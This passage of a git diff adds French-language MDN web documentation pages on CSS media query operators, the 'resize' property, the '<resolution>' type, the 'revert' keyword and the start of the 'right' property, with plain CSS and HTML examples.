+<p>Selon la spécification du W3C, les barres de défilement font parties des dimensions de la page. Ainsi la barre de défilement vertical s'ajoute à la largeur du document tandis que la barre de défilement horizontal s'ajoute à la hauteur du document. Cependant tous les navigateurs n'ont pas adopté cette recommandation (Chrome par exemple) et tous n'ont pas opté pour la même taille de barre de défilement, ce qui mène à un développement plus difficile pour assurer une comptabilité sur tous les navigateurs.</p>
+</div>
+
+<p>Si on utilise une caractéristique média sans indiquer de valeur, la requête sera vérifiée tant que la valeur de cette caractéristique n'est pas nulle (ou <code>none</code> pour la spécification de niveau 4). Ainsi, la requête suivante permettra d'appliquer les styles qu'elle contient si l'appareil peut afficher des couleurs :</p>
+
+<pre class="brush: css notranslate">@media (color) { ... }</pre>
+
+<p>Si une caractéristique ne s'applique pas à l'appareil, les expressions utilisant cette caractéristique renverront <code>false</code>. Ainsi, la requête suivante aura toujours la valeur <code>false</code> car aucun appareil de synthèse vocale ne possède de caractéristique relative à ses proportions d'écran :</p>
+
+<pre class="brush: css notranslate">@media speech and (aspect-ratio: 11/5) { ... }</pre>
+
+<p>Pour plus d'exemples, voir les pages de référence de chacune de ces caractéristiques depuis <a href="#caractéristiques">le tableau ci-dessus</a>.</p>
+
+<h2 id="Créer_des_requêtes_média_complexes">Créer des requêtes média complexes</h2>
+
+<p>Il est parfois nécessaire d'avoir une requête qui repose sur plusieurs conditions. Pour cela, on peut utiiliser les opérateurs logiques : <code>not</code>, <code>and</code>, <code>only</code> et la virgule (<code>,</code>) afin de combiner plusieurs requêtes média.</p>
+
+<p>Dans l'exemple précédent, on a utilisé l'opérateur <code>and</code> afin de combiner un type de média et une caractéristique média. Cet opérateur peut également servir à assembler plusieurs requêtes média pour en former la conjonction logique. L'opérateur <code>not</code> permet d'obtenir la négation d'une requête média tandis que l'opérateur <code>only</code> empêche les anciens navigateurs d'appliquer les styles qu'une requête contient.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Dans la plupart des cas, le type de média <code>all</code> est utilisé par défaut si aucun autre type n'est fourni. Toutefois, lorsqu'on utilise les opérateurs <code>not</code> ou <code>only</code>, il est nécessaire de fournir un type de média explicite.</p>
+</div>
+
+<h3 id="Combiner_plusieurs_types_ou_caractéristiques">Combiner plusieurs types ou caractéristiques</h3>
+
+<p>Le mot-clé <code>and</code> permet de combiner une caractéristique média avec un type de média ou avec d'autres caractéristiques média. L'exemple suivant permet de restreindre l'application d'un style aux appareils orientés en mode paysage et dont la largeur mesure au moins 30ems :</p>
+
+<pre class="brush: css notranslate">@media (min-width: 30em) and (orientation: landscape) { ... }</pre>
+
+<p>Si on souhaite restreindre ces règles aux écrans, on pourra ajouter une clause avec le type de média <code>screen</code> :</p>
+
+<pre class="brush: css notranslate">@media screen and (min-width: 30em) and (orientation: landscape) { ... }</pre>
+
+<h3 id="Tester_plusieurs_requêtes">Tester plusieurs requêtes</h3>
+
+<p>La virgule peut être utilisée afin de créer une disjonction (un OU logique) sur différentes clauses (types de média, caractéristiques ou états). Dans l'exemple qui suit, les styles de la requête sont appliqués si l'appareil possède une hauteur supérieure ou égale à 680 pixels ou si l'écran est en mode portrait :</p>
+
+<pre class="brush: css notranslate">@media (min-height: 680px), screen and (orientation: portrait) { ... }</pre>
+
+<p>Avec cet exemple, si l'utilisateur utilise une imprimante et que la page mesure 800 pixels de haut, la requête média aurait été vérifiée. Il en aurait été de même si l'utilisateur avait utilisé un smartphone avec une zone d'affichage haute de 480 pixels en portrait car la deuxième clause aurait renvoyée <code>true</code>.</p>
+
+<h3 id="Opérer_une_négation">Opérer une négation</h3>
+
+<p>Le mot-clé <code>not</code> permet d'inverser le résultat d'une requête. Il inversera uniquement la requête sur laquelle il est appliqué (et non la liste des requêtes s'il est utilisé au sein de requêtes séparées par des virgules). Le mot-clé <code>not</code> ne peut pas être utilisé afin d'inverser une caractéristique média, il peut uniquement être utilisé pour une requête média complète. Dans la requête qui suit, l'opérateur <code>not</code> est évalué en dernier :</p>
+
+<pre class="brush: css notranslate">@media not all and (monochrome) { ... }
+</pre>
+
+<p>La requête précédente est donc équivalente à :</p>
+
+<pre class="brush: css notranslate">@media not (all and (monochrome)) { ... }
+</pre>
+
+<p>Mais elle n'est pas équivalente à :</p>
+
+<pre class="brush: css example-bad notranslate">@media (not all) and (monochrome) { ... }</pre>
+
+<p>De même :</p>
+
+<pre class="brush: css notranslate">@media not screen and (color), print and (color) { ... }
+</pre>
+
+<p>sera évaluée comme :</p>
+
+<pre class="brush: css notranslate">@media (not (screen and (color))), print and (color) { ... }</pre>
+
+<h3 id="Améliorer_la_compatibilité_avec_les_anciens_navigateurs">Améliorer la compatibilité avec les anciens navigateurs</h3>
+
+<p>Le mot-clé <code>only</code> empêche les navigateurs qui ne prennent pas en charge les requêtes média avec les caractéristiques média d'appliquer les styles concernés. Cet opérateur n'a aucun effet pour les navigateurs modernes<em>.</em></p>
+
+<pre class="brush: css notranslate">@media only screen and (color) { ... }
+</pre>
+
+<h2 id="Améliorations_syntaxiques_avec_la_spécification_de_niveau_4">Améliorations syntaxiques avec la spécification de niveau 4</h2>
+
+<p>La spécification de niveau 4 pour les requêtes média ajoute des améliorations syntaxiques pour les requêtes média qui portent sur un intervalle (par exemple les critères de largeur et de hauteur). On peut par exemple utiliser le préfixe <code>max-</code> pour les largeurs et écrire :</p>
+
+<pre class="brush: css notranslate">@media (max-width: 30em) { ... }</pre>
+
+<p>Avec les requêtes média de niveau 4, on peut écrire :</p>
+
+<pre class="brush: css notranslate">@media (width &lt;= 30em) { ... }</pre>
+
+<p>Si on utilise <code>min-</code> et <code>max-</code> conjointement, on peut tester l'appartenance d'une valeur à un intervalle :</p>
+
+<pre class="brush: css notranslate">@media (min-width: 30em) and (max-width: 50em) { ... }</pre>
+
+<p>Avec les requêtes média de niveau 4, on peut écrire :</p>
+
+<pre class="brush: css notranslate">@media (30em &lt;= width &lt;= 50em ) { ... }
+</pre>
+
+<p>Les requêtes média de niveau 4 permettent également d'utiliser une logique booléenne avec les opérateurs <code>and</code>, <code>not</code> et <code>or</code>.</p>
+
+<h3 id="Tester_labsence_dune_caractéristique_avec_not">Tester l'absence d'une caractéristique avec <code>not</code></h3>
+
+<p>On peut utiliser l'opérateur <code>not()</code> autour d'une caractéristique média afin de tester l'absence de cette caractéristique. Ainsi, on peut <code>not(hover)</code> pour cibler les appareils qui ne permettent pas le survol d'un élément :</p>
+
+<pre class="brush: css notranslate">@media (not(hover)) { ... }</pre>
+
+<h3 id="Tester_plusieurs_caractéristiques_avec_or">Tester plusieurs caractéristiques avec <code>or</code></h3>
+
+<p>Il est possible d'utiliser l'opérateur <code>or</code> pour tester une correspondance sur plus d'une caractéristique. Dans l'exemple suivant, on cible les appareils qui ont un affichage monochrome (<code>not (color)</code>) ou qui permettent de survoler les éléments (<code>hover</code>) :</p>
+
+<pre class="brush: css notranslate">@media (not (color)) or (hover) { ... }
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Requêtes_média/Tester_les_media_queries">Tester des requêtes média en script</a></li>
+ <li><a href="http://davidwalsh.name/animate-media-queries">Utiliser les animations CSS entre les requêtes média (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/CSS/Extensions_Mozilla#Caractéristiques">Les caractéristiques média spécifiques à Mozilla</a></li>
+ <li><a href="/fr/docs/Web/CSS/Reference/Extensions_WebKit#Caractéristiques_média">Les caractéristiques média spécifiques à WebKit</a></li>
+</ul>
diff --git a/files/fr/web/css/resize/index.html b/files/fr/web/css/resize/index.html
new file mode 100644
index 0000000000..3b215af7ef
--- /dev/null
+++ b/files/fr/web/css/resize/index.html
@@ -0,0 +1,153 @@
+---
+title: resize
+slug: Web/CSS/resize
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/resize
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>resize</code></strong> permet de contrôler le caractère redimensionnable d'un élément et notamment la direction dans laquelle celui-ci peut être redimensionné.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/resize.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+resize: none;
+resize: both;
+resize: horizontal;
+resize: vertical;
+resize: block;
+resize: inline;
+
+/* Valeurs globales */
+resize: inherit;
+resize: initial;
+resize: unset;
+</pre>
+
+<p>La propriété <code>resize</code> peut être définie avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>L'élément n'offre aucune méthode à l'utilisateur pour que celui-ci le redimensionne.</dd>
+ <dt><code>both</code></dt>
+ <dd>L'élément affiche un mécanisme afin que l'utilisateur puisse le redimensionner, horizontalement et verticalement.</dd>
+ <dt><code>horizontal</code></dt>
+ <dd>L'élément affiche un mécanisme afin que l'utilisateur puisse le redimensionner horizontalement (pas de redimensionnement vertical).</dd>
+ <dt><code>vertical</code></dt>
+ <dd>L'élément affiche un mécanisme afin que l'utilisateur puisse le redimensionner verticalement (pas de redimensionnement horizontal).</dd>
+ <dt><code>block</code> {{experimental_inline}}</dt>
+ <dd>Selon les valeurs de {{cssxref("writing-mode")}} et {{cssxref("direction")}}, l'élément affiche un mécanisme pour que l'utilisateur puisse le redimensionner, horizontalement ou verticalement, dans la direction du bloc.</dd>
+ <dt><code>inline</code> {{experimental_inline}}</dt>
+ <dd>Selon les valeurs de {{cssxref("writing-mode")}} et {{cssxref("direction")}}, l'élément affiche un mécanisme pour que l'utilisateur puisse le redimensionner, horizontalement ou verticalement, dans la direction du flux en ligne.</dd>
+</dl>
+
+<div class="note"><strong>Note :</strong> <code>resize</code> ne s'applique pas aux blocs dont la propriété {{cssxref("overflow")}} vaut <code>visible</code>.</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Désactiver_le_redimensionnement_des_éléments_textarea">Désactiver le redimensionnement des éléments <code>textarea</code></h3>
+
+<h4 id="CSS">CSS</h4>
+
+<p>Par défaut, les éléments {{HTMLElement("textarea")}} peuvent être redimensionnés. Ce comportement peut être modifié grâce à ce fragment CSS :</p>
+
+<pre class="brush: css">textarea.exemple {
+  resize: none;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;textarea class="exemple"&gt;Saisir du texte ici.&lt;/textarea&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Désactiver_le_redimensionnement_des_éléments_textarea","200","100")}}</p>
+
+<h3 id="Utiliser_resize_sur_des_éléments_quelconques">Utiliser <code>resize</code> sur des éléments quelconques</h3>
+
+<p>La propriété <code>resize</code> peut être utilisée afin de pouvoir redimensionner n'importe quel élément. Dans l'exemple qui suit, on a une boîte {{HTMLElement("div")}} redimensionnable qui contient un paragraphe (({{HTMLElement("p")}}) lui-même redimensionnable) :</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.redimensionnable {
+  resize: both;
+  overflow: scroll;
+  border: 1px solid black;
+}
+
+div {
+  height: 300px;
+  width: 300px;
+}
+
+p {
+  height: 200px;
+  width: 200px;
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="redimensionnable"&gt;
+  &lt;p class="redimensionnable"&gt;
+    Ce paragraphe peut être redimensionné car la propriété
+    CSS resize vaut 'both' sur cet élément.
+  &lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_resize_sur_des_éléments_quelconques","450","450")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#resize', 'resize')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Ajout des valeurs <code>block</code> et <code>inline</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#resize', 'resize')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.resize")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
diff --git a/files/fr/web/css/resolution/index.html b/files/fr/web/css/resolution/index.html
new file mode 100644
index 0000000000..4af732acb5
--- /dev/null
+++ b/files/fr/web/css/resolution/index.html
@@ -0,0 +1,127 @@
+---
+title: <resolution>
+slug: Web/CSS/resolution
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/resolution
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;resolution&gt;</code></strong>, utilisé dans les <em><a href="/fr/docs/Web/CSS/Media_queries">media queries</a></em>, décrit la densité de pixels d'un appareil d'affichage, c'est-à-dire sa résolution.</p>
+
+<p>Les dimensions font référence aux unités CSS (un pixel CSS, un centimètre CSS, etc.) et non aux dimensions physiques.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une valeur de ce type sera composée d'un nombre (une valeur de type {{cssxref("&lt;number&gt;")}}) immédiatement suivi d'une unité de résolution (<code>dpi</code>, <code>dpcm</code>, …). Comme pour les autres dimensions CSS, il n'y a aucun espace entre la valeur numérique et l'unité.</p>
+
+<p>Bien que toutes les unités représentent la même chose pour la valeur <code>0</code>, l'unité ne peut être omise dans ce cas puisque ce n'est pas une donnée de type {{cssxref("&lt;length&gt;")}} : <code>0</code> est invalide et ne représente pas <code>0dpi</code>, <code>0dpcm</code>, ni <code>0dppx</code>.</p>
+
+<h3 id="Unités">Unités</h3>
+
+<dl>
+ <dt><code><a name="dpi">dpi</a></code></dt>
+ <dd>Cette unité représente le nombre de <a href="https://fr.wikipedia.org/wiki/Point_par_pouce">points par pouce</a>. Un écran compte habituellement 72 ou 96 ppi (dpi), tandis qu'un document imprimé en compte généralement un nombre beaucoup plus élevé. Puisque 1 pouce équivaut à 2,54 cm, <code>1 dpi ≈ 0,39 dpcm</code>.</dd>
+ <dt><code><a name="dpcm">dpcm</a></code></dt>
+ <dd>Cette unité représente le nombre de <a href="https://fr.wikipedia.org/wiki/Point_par_pouce#Tableau_de_conversion">points par centimètre</a>. Puisque 1 pouce équivaut à 2.54 cm, <code>1dpcm ≈ 2,54 dpi</code>.</dd>
+ <dt><code><a name="dppx">dppx</a></code></dt>
+ <dd>Cette unité représente le nombre de points par unité CSS <code>px</code>. Puisque le ratio entre les unités CSS <code class="css">in</code> et CSS <code class="css">px</code> vaut 1:96, <code class="css">1 dppx</code> est équivalent à <code class="css">96 dpi</code>, ce qui correspond à la résolution par défaut des images affichées en CSS tel que défini par {{cssxref("image-resolution")}}.</dd>
+ <dt><a id="x" name="x"><code>x</code></a></dt>
+ <dd>Un alias pour <code>dppx</code>.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Bien que le nombre <code>0</code> représente la même mesure pour ces différentes unités. Si la valeur est écrite sans unité, elle sera considérée comme invalide. Autrement dit, <code>0</code> est invalide et ne représente pas <code>0dpi</code>, <code>0dpcm</code> ou <code>0dppx</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Usage_correct">Usage correct</h3>
+
+<p>Voici quelques exemples d'utilisation correcte de données de type <code>&lt;resolution&gt;</code> :</p>
+
+<pre class="brush: css">96dpi                                              Usage correct : un {{cssxref("&lt;number&gt;")}} (ici un {{cssxref("&lt;integer&gt;")}}) suivi d'une unité.
+@media print and (min-resolution: 300dpi) { ... }  Usage correct dans le contexte d'une <a href="/fr/docs/CSS/Media_queries">media query</a>.
+</pre>
+
+<h3 id="Usages_incorrects">Usages incorrects</h3>
+
+<pre class="brush: css">72 dpi    Incorrect : les espaces ne sont pas acceptés entre le {{cssxref("&lt;number&gt;")}} et l'unité.
+ten dpi   Incorrect : seules des expressions numériques sont acceptées.
+0         Incorrect : l'unité ne peut être omise que pour l'expression de la valeur 0 de type {{cssxref("&lt;length&gt;")}}.
+</pre>
+
+<h3 id="Exemple_appliqué">Exemple appliqué</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Saurez-vous trouver votre résolution en dpi */
+/* via l'exemple live ?                        */
+@media screen and (min-resolution: 100dpi) {
+  .exemple {
+    background-color: palegreen;
+  }
+}
+
+@media screen and (max-resolution: 99dpi) {
+  .exemple {
+    background-color: orange;
+  }
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  À ces mots le Chapelier ouvrit de grands yeux ; mais
+  il se contenta de dire : « Pourquoi une pie
+  ressemble-t-elle à un pupitre ? »
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_appliqué","200","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#resolution', '&lt;resolution&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td>Ajout de l'unité <code>x</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#resolution', '&lt;resolution&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Ajout de l'unité <code>dppx</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#resolution', '&lt;resolution&gt;')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.types.resolution")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Media_queries">Les <em>media queries</em> CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/@media/resolution">La caractéristique média <code>resolution</code></a></li>
+</ul>
diff --git a/files/fr/web/css/revert/index.html b/files/fr/web/css/revert/index.html
new file mode 100644
index 0000000000..2ddf16c775
--- /dev/null
+++ b/files/fr/web/css/revert/index.html
@@ -0,0 +1,200 @@
+---
+title: revert
+slug: Web/CSS/revert
+tags:
+  - CSS
+  - Cascade
+  - Mot-clé
+  - Reference
+translation_of: Web/CSS/revert
+---
+<div>{{CSSRef}}</div>
+
+<p>Le mot-clé <strong><code>revert</code></strong> permet de <em>remonter</em> la cascade afin que la propriété puisse prendre la valeur qui aurait été utilisée sans mise en forme particulière (la valeur qu'elle aurait eu sans mise en forme appliquée par la feuille de style de l'auteur, de l'utilisateur ou de l'agent utilisateur). Ainsi, si la propriété hérite de son parent, elle prendra la valeur héritée et sinon la valeur par défaut de l'agent utilisateur (ou de la feuille de style utilisateur).</p>
+
+<p>Cette valeur peut être utilisée pour n'importe quelle propriété CSS, y compris la propriété raccourcie {{cssxref("all")}}.</p>
+
+<p>La remontée de la cascade sera plus ou moins prononcée selon l'endroit où est utilisé <code>revert</code> :</p>
+
+<ul>
+ <li>Si <code>revert</code> est utilisé dans une feuille de style d'un site, ce sera la valeur définie dans la feuille de style de l'utilisateur qui sera utilisée ou celle de l'agent utilisateur par défaut sinon.</li>
+ <li>Si <code>revert</code> est utilisé dans une feuille de style utilisateur ou si le style a été appliqué par l'utilisateur, <code>revert</code> entraînera l'utilisation de la valeur par défaut de l'agent utilisateur.</li>
+ <li>Si <code>revert</code> est utilisé comme style par défaut de l'agent utilisateur, il aura un comportement équivalent à {{cssxref("unset")}}</li>
+</ul>
+
+<p>Le mot-clé <code>revert</code> fonctionne comme <code>unset</code> pour de nombreux cas. Les seules différences observables se produisent quand les valeurs sont définies par le navigateur ou dans une feuille de style utilisateur.</p>
+
+<p><code>revert</code> n'aura pas d'effet sur les éléments fils de l'élément ciblé (mais supprimera l'effet d'une règle du parent qui s'appliquerait indirectement aux enfants).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> <code>revert</code> est une simple valeur, il est toujours possible de la surcharger par une autre avec une règle d'une <a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/La_cascade_et_l_héritage#Spécificité">spécificité</a> supérieure.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Le mot-clé <code>revert</code> est différent de {{cssxref("initial")}} et ne doit pas être confondu avec ce dernier. {{cssxref("initial")}} utilise <a href="/fr/docs/Web/CSS/Valeur_initiale">la valeur initiale</a>, définie pour chaque propriété par les spécifications CSS. En revanche, les feuilles de style des agents utilisateurs définissent des valeurs par défaut selon les sélecteurs CSS. Par exemple, <a href="/fr/docs/Web/CSS/Valeur_initiale">la valeur initiale</a> de {{cssxref("display")}} est <code>inline</code> mais un agent utilisateur pourra définir les valeurs par défaut suivante dans sa feuille de style : <code>block</code> pour {{HTMLElement("div")}}, <code>table</code> pour {{HTMLElement("table")}} etc.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;p&gt;Voici une section !&lt;/p&gt;
+
+  &lt;aside class="widget"&gt;
+    &lt;p&gt;Et un petit widget.&lt;/p&gt;
+  &lt;/aside&gt;
+&lt;/section&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">section p {
+  color: blue;
+  font-family: sans-serif;
+  font-weight: bold;
+}
+
+.widget p {
+  all: revert;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_simple')}}</p>
+
+<h3 id="revert_et_unset"><code>revert</code> et <code>unset</code></h3>
+
+<p>Bien que <code>revert</code> et <code>unset</code> soient semblables, il y a quelques différences pour certaines propriétés de certains éléments.</p>
+
+<p>Dans l'exemple qui suit, on indique une valeur spécifique pour <code>font-weight</code> au niveau de la feuille de style globale sur laquelle on revient avec <code>unset</code> et <code>revert</code>. <code>unset</code> conservera un texte normal car c'est la valeur initiale pour <code>font-weight</code> tandis que <code>revert</code> rendra le texte en gras car c'est la valeur par défaut pour les titres pour la plupart des navigateurs.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">h3 {
+  font-weight: normal;
+  color: blue;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;h3 style="font-weight: unset; color: unset;"&gt;
+  Ceci aura toujours font-weight: normal mais color: black
+&lt;/h3&gt;
+&lt;p&gt;
+  Juste un peu de texte
+&lt;/p&gt;
+&lt;h3 style="font-weight: revert; color: revert;"&gt;
+  Ceci devrait avoir font-weight: bold (la valeur originale)
+  et color: black
+&lt;/h3&gt;
+&lt;p&gt;
+ Juste un peu de texte
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('revert_et_unset')}}</p>
+
+<h3 id="all"><code>all</code></h3>
+
+<p>Revenir sur toutes les valeurs peut s'avérer utile lorsqu'on veut annuler l'effet de modifications lourdes. Si on poursuit avec l'exemple précédent, plutôt que de revenir séparément sur <code>font-weight</code> et <code>color</code>, on utilise <code>all</code> à la place.</p>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">h3 {
+  font-weight: normal;
+  color: blue;
+  border-bottom: 1px solid grey;
+}</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;h3&gt;
+  Un style spécifique
+&lt;/h3&gt;
+&lt;p&gt;
+  Juste un peu de texte
+&lt;/p&gt;
+&lt;h3 style="all: revert"&gt;
+  Retour aux réglages par défaut pour toutes les propriétés
+&lt;/h3&gt;
+&lt;p&gt;
+  Juste un peu de texte
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample('all')}}</p>
+
+<h3 id="Revenir_sur_une_propriété_du_parent">Revenir sur une propriété du parent</h3>
+
+<p>Utiliser <code>revert</code> annule la valeur d'une propriété pour le seul élément ciblé. Pour illustrer ce principe, nous utiliserons une couleur verte pour une section et rouge pour un paragraphe.</p>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css">section {
+  color: darkgreen;
+}
+p {
+  color: red;
+}
+section.with-revert {
+  color: revert;
+}
+</pre>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h3&gt;Ce texte sera vert foncé&lt;/h3&gt;
+  &lt;p&gt;Ce texte sera rouge.&lt;/p&gt;
+  Ce texte sera aussi vert.
+&lt;/section&gt;
+&lt;section class="with-revert"&gt;
+  &lt;h3&gt;Ce texte sera noir&lt;/h3&gt;
+  &lt;p&gt;Ce texte sera rouge.&lt;/p&gt;
+  Ce texte sera aussi noir.
+&lt;/section&gt;</pre>
+
+<p>On voit ici que le paragraphe reste en rouge malgré l'utilisation de <code>revert</code> pour la section. On voit également que le titre et le nœud texte de la deuxième section sont en noir : comme si <code>section { color: darkgreen }</code> n'existait pas pour cette section.</p>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample('Revenir_sur_une_propriété_du_parent')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Cascade', '#default', 'revert')}}</td>
+   <td>{{Spec2('CSS4 Cascade')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.global_keywords.revert")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("initial")}}</li>
+ <li>{{cssxref("inherit")}}</li>
+ <li>{{cssxref("unset")}}</li>
+ <li>La propriété {{cssxref("all")}} permet de réinitialiser l'ensemble des propriétés avec leurs valeurs initiales, héritées, annulées ou par défaut.</li>
+</ul>
diff --git a/files/fr/web/css/right/index.html b/files/fr/web/css/right/index.html
new file mode 100644
index 0000000000..f0dc4cbc85
--- /dev/null
+++ b/files/fr/web/css/right/index.html
@@ -0,0 +1,152 @@
+---
+title: right
+slug: Web/CSS/right
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/right
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>right</code></strong> définit, en partie, la position des éléments positionnés. La propriété <code>right</code> n'a aucun effet sur les éléments non-positionnés.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/right.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'effet de la propriété <code>right</code> dépend de la façon dont l'élément est positionné (c'est-à-dire de la valeur de la propriété {{cssxref("position")}}) :</p>
+
+<ul>
+ <li>Quand <code>position</code> vaut <code>absolute</code> ou <code>fixed</code>, <code>right</code> indique la distance entre le bord droit de l'élément et le bord droit du bloc englobant.</li>
+ <li>Quand <code>position</code> vaut <code>relative</code>, <code>right</code> indique la distance de laquelle le bord droit de l'élément est décalé vers la gauche par rapport à sa position normale.</li>
+ <li>Quand <code>position</code> vaut <code>sticky</code>, <code>right</code> se comporte comme <code>relative</code> lorsque l'élément est à l'intérieur de la zone d'affichage (<em>viewport</em>) et comme <code>fixed</code> lorsque l'élément est en dehors de la zone d'affichage.</li>
+ <li>Quand <code>position</code> vaut <code>static</code>, <code>right</code> n'a aucun effet.</li>
+</ul>
+
